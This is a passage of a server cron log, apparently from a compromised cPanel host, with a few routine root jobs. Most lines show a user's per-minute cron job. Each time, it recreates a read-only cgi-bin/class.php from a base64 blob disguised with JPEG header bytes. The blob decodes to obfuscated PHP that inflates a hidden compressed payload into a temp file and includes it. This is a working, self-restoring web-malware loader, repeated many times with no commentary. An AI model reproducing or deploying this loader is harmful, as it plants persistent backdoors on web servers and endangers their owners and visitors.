SEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:41:01 server CROND[22437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:42:01 server CROND[22506]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 12:42:01 server CROND[22507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:43:01 server CROND[22589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:44:01 server CROND[22684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:45:01 server CROND[22769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:45:01 server CROND[22770]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 12:45:01 server CROND[22771]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 12:46:01 server CROND[22989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:47:01 server CROND[23063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:48:01 server CROND[23137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:49:01 server CROND[23211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:50:01 server CROND[23288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 12:50:01 server CROND[23292]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 12:50:01 server CROND[23293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:50:01 server CROND[23291]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 12:50:01 server CROND[23290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 12:51:01 server CROND[23498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:52:01 server CROND[23566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:53:01 server CROND[23658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:54:02 server CROND[23732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk